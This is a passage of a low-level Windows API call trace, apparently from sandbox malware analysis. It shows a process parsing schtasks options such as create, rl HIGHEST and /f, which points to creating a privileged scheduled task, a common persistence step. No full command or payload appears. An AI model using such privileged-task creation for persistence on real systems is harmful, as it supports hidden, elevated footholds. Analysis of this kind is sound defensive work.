lstrlenW (lpString="rl") returned 2 [0153.414] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.414] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|k|") returned 3 [0153.414] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0153.414] lstrlenW (lpString="|k|") returned 3 [0153.414] lstrlenW (lpString="|rl|") returned 4 [0153.414] SetLastError (dwErrCode=0x490) [0153.414] lstrlenW (lpString="du") returned 2 [0153.414] lstrlenW (lpString="du") returned 2 [0153.414] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.414] lstrlenW (lpString="rl") returned 2 [0153.414] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.414] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|du|") returned 4 [0153.414] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0153.414] lstrlenW (lpString="|du|") returned 4 [0153.414] lstrlenW (lpString="|rl|") returned 4 [0153.414] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0153.414] SetLastError (dwErrCode=0x490) [0153.414] lstrlenW (lpString="ri") returned 2 [0153.414] lstrlenW (lpString="ri") returned 2 [0153.415] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.415] lstrlenW (lpString="rl") returned 2 [0153.415] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.415] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|ri|") returned 4 [0153.415] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0153.415] lstrlenW (lpString="|ri|") returned 4 [0153.415] lstrlenW (lpString="|rl|") returned 4 [0153.415] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0153.415] SetLastError (dwErrCode=0x490) [0153.415] lstrlenW (lpString="z") returned 1 [0153.415] lstrlenW (lpString="z") returned 1 [0153.415] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.415] lstrlenW (lpString="rl") returned 2 [0153.415] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.415] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|z|") returned 3 [0153.415] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0153.415] lstrlenW (lpString="|z|") returned 3 [0153.415] lstrlenW (lpString="|rl|") returned 4 [0153.415] SetLastError (dwErrCode=0x490) [0153.415] lstrlenW (lpString="f") returned 1 [0153.415] lstrlenW (lpString="f") returned 1 [0153.415] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.415] lstrlenW (lpString="rl") returned 2 [0153.415] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.415] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0153.415] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0153.416] lstrlenW (lpString="|f|") returned 3 [0153.416] lstrlenW (lpString="|rl|") returned 4 [0153.416] SetLastError (dwErrCode=0x490) [0153.416] lstrlenW (lpString="v1") returned 2 [0153.416] lstrlenW (lpString="v1") returned 2 [0153.416] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.416] lstrlenW (lpString="rl") returned 2 [0153.416] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.416] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|v1|") returned 4 [0153.416] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0153.416] lstrlenW (lpString="|v1|") returned 4 [0153.416] lstrlenW (lpString="|rl|") returned 4 [0153.416] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0153.416] SetLastError (dwErrCode=0x490) [0153.416] lstrlenW (lpString="xml") returned 3 [0153.416] lstrlenW (lpString="xml") returned 3 [0153.416] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.416] lstrlenW (lpString="rl") returned 2 [0153.416] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.416] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|xml|") returned 5 [0153.416] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0153.416] lstrlenW (lpString="|xml|") returned 5 [0153.416] lstrlenW (lpString="|rl|") returned 4 [0153.416] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0153.416] SetLastError (dwErrCode=0x490) [0153.416] lstrlenW (lpString="ec") returned 2 [0153.416] lstrlenW (lpString="ec") returned 2 [0153.417] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.417] lstrlenW (lpString="rl") returned 2 [0153.417] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.417] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|ec|") returned 4 [0153.417] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0153.417] lstrlenW (lpString="|ec|") returned 4 [0153.417] lstrlenW (lpString="|rl|") returned 4 [0153.417] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0153.417] SetLastError (dwErrCode=0x490) [0153.417] lstrlenW (lpString="rl") returned 2 [0153.417] lstrlenW (lpString="rl") returned 2 [0153.417] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.417] lstrlenW (lpString="rl") returned 2 [0153.417] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.417] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0153.417] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rl|") returned 4 [0153.417] lstrlenW (lpString="|rl|") returned 4 [0153.417] lstrlenW (lpString="|rl|") returned 4 [0153.417] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0153.417] SetLastError (dwErrCode=0x0) [0153.417] SetLastError (dwErrCode=0x0) [0153.417] lstrlenW (lpString="HIGHEST") returned 7 [0153.417] lstrlenW (lpString="-/") returned 2 [0153.417] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0153.417] SetLastError (dwErrCode=0x490) [0153.417] SetLastError (dwErrCode=0x490) [0153.418] SetLastError (dwErrCode=0x0) [0153.418] lstrlenW (lpString="HIGHEST") returned 7 [0153.418] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0153.418] SetLastError (dwErrCode=0x490) [0153.418] SetLastError (dwErrCode=0x0) [0153.418] _memicmp (_Buf1=0x2ad4c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.418] lstrlenW (lpString="HIGHEST") returned 7 [0153.418] lstrlenW (lpString="HIGHEST") returned 7 [0153.418] lstrlenW (lpString=" \x09") returned 2 [0153.418] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0153.418] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0153.418] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0153.418] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0153.418] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0153.418] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0153.418] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0153.418] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0153.418] GetLastError () returned 0x0 [0153.418] lstrlenW (lpString="HIGHEST") returned 7 [0153.418] lstrlenW (lpString="HIGHEST") returned 7 [0153.418] SetLastError (dwErrCode=0x0) [0153.418] SetLastError (dwErrCode=0x0) [0153.418] lstrlenW (lpString="/f") returned 2 [0153.418] lstrlenW (lpString="-/") returned 2 [0153.418] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0153.418] lstrlenW (lpString="create") returned 6 [0153.418] lstrlenW (lpString="create") returned 6 [0153.418] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.418] lstrlenW (lpString="f") returned 1 [0153.418] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.419] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|create|") returned 8 [0153.419] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0153.419] lstrlenW (lpString="|create|") returned 8 [0153.419] lstrlenW (lpString="|f|") returned 3 [0153.419] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0153.419] SetLastError (dwErrCode=0x490) [0153.419] lstrlenW (lpString="?") returned 1 [0153.419] lstrlenW (lpString="?") returned 1 [0153.419] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.419] lstrlenW (lpString="f") returned 1 [0153.419] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.419] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|?|") returned 3 [0153.419] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0153.419] lstrlenW (lpString="|?|") returned 3 [0153.419] lstrlenW (lpString="|f|") returned 3 [0153.419] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0153.419] SetLastError (dwErrCode=0x490) [0153.419] lstrlenW (lpString="s") returned 1 [0153.419] lstrlenW (lpString="s") returned 1 [0153.419] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.419] lstrlenW (lpString="f") returned 1 [0153.419] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.419] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|s|") returned 3 [0153.419] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0153.419] lstrlenW (lpString="|s|") returned 3 [0153.419] lstrlenW (lpString="|f|") returned 3 [0153.419] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0153.419] SetLastError (dwErrCode=0x490) [0153.419] lstrlenW (lpString="u") returned 1 [0153.419] lstrlenW (lpString="u") returned 1 [0153.420] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.420] lstrlenW (lpString="f") returned 1 [0153.420] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.420] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|u|") returned 3 [0153.420] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0153.420] lstrlenW (lpString="|u|") returned 3 [0153.420] lstrlenW (lpString="|f|") returned 3 [0153.420] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0153.420] SetLastError (dwErrCode=0x490) [0153.420] lstrlenW (lpString="p") returned 1 [0153.420] lstrlenW (lpString="p") returned 1 [0153.420] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.420] lstrlenW (lpString="f") returned 1 [0153.420] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.420] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|p|") returned 3 [0153.420] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0153.420] lstrlenW (lpString="|p|") returned 3 [0153.420] lstrlenW (lpString="|f|") returned 3 [0153.420] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0153.420] SetLastError (dwErrCode=0x490) [0153.420] lstrlenW (lpString="ru") returned 2 [0153.420] lstrlenW (lpString="ru") returned 2 [0153.420] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.420] lstrlenW (lpString="f") returned 1 [0153.420] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.420] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|ru|") returned 4 [0153.420] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0153.421] lstrlenW (lpString="|ru|") returned 4 [0153.421] lstrlenW (lpString="|f|") returned 3 [0153.421] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0153.421] SetLastError (dwErrCode=0x490) [0153.421] lstrlenW (lpString="rp") returned 2 [0153.421] lstrlenW (lpString="rp") returned 2 [0153.421] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.421] lstrlenW (lpString="f") returned 1 [0153.421] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.421] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rp|") returned 4 [0153.421] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0153.421] lstrlenW (lpString="|rp|") returned 4 [0153.421] lstrlenW (lpString="|f|") returned 3 [0153.421] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0153.421] SetLastError (dwErrCode=0x490) [0153.421] lstrlenW (lpString="sc") returned 2 [0153.421] lstrlenW (lpString="sc") returned 2 [0153.421] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.421] lstrlenW (lpString="f") returned 1 [0153.421] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.421] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|sc|") returned 4 [0153.421] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0153.421] lstrlenW (lpString="|sc|") returned 4 [0153.421] lstrlenW (lpString="|f|") returned 3 [0153.421] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0153.421] SetLastError (dwErrCode=0x490) [0153.421] lstrlenW (lpString="mo") returned 2 [0153.422] lstrlenW (lpString="mo") returned 2 [0153.422] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.422] lstrlenW (lpString="f") returned 1 [0153.422] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.422] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|mo|") returned 4 [0153.422] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0153.422] lstrlenW (lpString="|mo|") returned 4 [0153.422] lstrlenW (lpString="|f|") returned 3 [0153.422] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0153.422] SetLastError (dwErrCode=0x490) [0153.422] lstrlenW (lpString="d") returned 1 [0153.422] lstrlenW (lpString="d") returned 1 [0153.422] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.422] lstrlenW (lpString="f") returned 1 [0153.422] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.422] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|d|") returned 3 [0153.422] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0153.422] lstrlenW (lpString="|d|") returned 3 [0153.422] lstrlenW (lpString="|f|") returned 3 [0153.422] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0153.422] SetLastError (dwErrCode=0x490) [0153.422] lstrlenW (lpString="m") returned 1 [0153.422] lstrlenW (lpString="m") returned 1 [0153.422] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.422] lstrlenW (lpString="f") returned 1 [0153.422] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.423] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|m|") returned 3 [0153.423] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0153.423] lstrlenW (lpString="|m|") returned 3 [0153.423] lstrlenW (lpString="|f|") returned 3 [0153.423] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0153.423] SetLastError (dwErrCode=0x490) [0153.423] lstrlenW (lpString="i") returned 1 [0153.423] lstrlenW (lpString="i") returned 1 [0153.423] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.423] lstrlenW (lpString="f") returned 1 [0153.423] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.423] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|i|") returned 3 [0153.423] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0153.423] lstrlenW (lpString="|i|") returned 3 [0153.423] lstrlenW (lpString="|f|") returned 3 [0153.423] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0153.423] SetLastError (dwErrCode=0x490) [0153.423] lstrlenW (lpString="tn") returned 2 [0153.423] lstrlenW (lpString="tn") returned 2 [0153.423] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.423] lstrlenW (lpString="f") returned 1 [0153.423] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.423] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tn|") returned 4 [0153.424] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0153.424] lstrlenW (lpString="|tn|") returned 4 [0153.424] lstrlenW (lpString="|f|") returned 3 [0153.424] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0153.424] SetLastError (dwErrCode=0x490) [0153.424] lstrlenW (lpString="tr") returned 2 [0153.424] lstrlenW (lpString="tr") returned 2 [0153.424] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.424] lstrlenW (lpString="f") returned 1 [0153.424] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.424] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tr|") returned 4 [0153.424] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0153.424] lstrlenW (lpString="|tr|") returned 4 [0153.424] lstrlenW (lpString="|f|") returned 3 [0153.424] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0153.424] SetLastError (dwErrCode=0x490) [0153.424] lstrlenW (lpString="st") returned 2 [0153.424] lstrlenW (lpString="st") returned 2 [0153.424] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.424] lstrlenW (lpString="f") returned 1 [0153.424] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.424] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|st|") returned 4 [0153.424] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0153.424] lstrlenW (lpString="|st|") returned 4 [0153.425] lstrlenW (lpString="|f|") returned 3 [0153.425] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0153.425] SetLastError (dwErrCode=0x490) [0153.425] lstrlenW (lpString="sd") returned 2 [0153.425] lstrlenW (lpString="sd") returned 2 [0153.425] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.425] lstrlenW (lpString="f") returned 1 [0153.425] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.425] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|sd|") returned 4 [0153.425] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0153.425] lstrlenW (lpString="|sd|") returned 4 [0153.425] lstrlenW (lpString="|f|") returned 3 [0153.425] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0153.425] SetLastError (dwErrCode=0x490) [0153.425] lstrlenW (lpString="ed") returned 2 [0153.425] lstrlenW (lpString="ed") returned 2 [0153.425] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.425] lstrlenW (lpString="f") returned 1 [0153.425] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.425] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|ed|") returned 4 [0153.425] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0153.425] lstrlenW (lpString="|ed|") returned 4 [0153.425] lstrlenW (lpString="|f|") returned 3 [0153.425] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0153.425] SetLastError (dwErrCode=0x490) [0153.425] lstrlenW (lpString="it") returned 2 [0153.425] lstrlenW (lpString="it") returned 2 [0153.425] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.425] lstrlenW (lpString="f") returned 1 [0153.425] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.426] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|it|") returned 4 [0153.426] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0153.426] lstrlenW (lpString="|it|") returned 4 [0153.426] lstrlenW (lpString="|f|") returned 3 [0153.426] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0153.426] SetLastError (dwErrCode=0x490) [0153.426] lstrlenW (lpString="et") returned 2 [0153.426] lstrlenW (lpString="et") returned 2 [0153.426] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.426] lstrlenW (lpString="f") returned 1 [0153.426] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.426] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|et|") returned 4 [0153.426] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0153.426] lstrlenW (lpString="|et|") returned 4 [0153.426] lstrlenW (lpString="|f|") returned 3 [0153.426] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0153.426] SetLastError (dwErrCode=0x490) [0153.426] lstrlenW (lpString="k") returned 1 [0153.426] lstrlenW (lpString="k") returned 1 [0153.426] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.426] lstrlenW (lpString="f") returned 1 [0153.426] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.426] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|k|") returned 3 [0153.426] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0153.426] lstrlenW (lpString="|k|") returned 3 [0153.426] lstrlenW (lpString="|f|") returned 3 [0153.426] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0153.426] SetLastError (dwErrCode=0x490) [0153.426] lstrlenW (lpString="du") returned 2 [0153.426] lstrlenW (lpString="du") returned 2 [0153.426] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.427] lstrlenW (lpString="f") returned 1 [0153.427] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.427] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|du|") returned 4 [0153.427] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0153.427] lstrlenW (lpString="|du|") returned 4 [0153.427] lstrlenW (lpString="|f|") returned 3 [0153.427] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0153.427] SetLastError (dwErrCode=0x490) [0153.427] lstrlenW (lpString="ri") returned 2 [0153.427] lstrlenW (lpString="ri") returned 2 [0153.427] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.427] lstrlenW (lpString="f") returned 1 [0153.427] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.427] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|ri|") returned 4 [0153.427] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|f|") returned 3 [0153.427] lstrlenW (lpString="|ri|") returned 4 [0153.427] lstrlenW (lpString="|f|") returned 3 [0153.427] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0153.427] SetLastError (dwErrCode=0x490) [0153.427] lstrlenW (lpString="z") returned 1 [0153.427] lstrlenW (lpString="z") returned 1 [0153.427] _memicmp 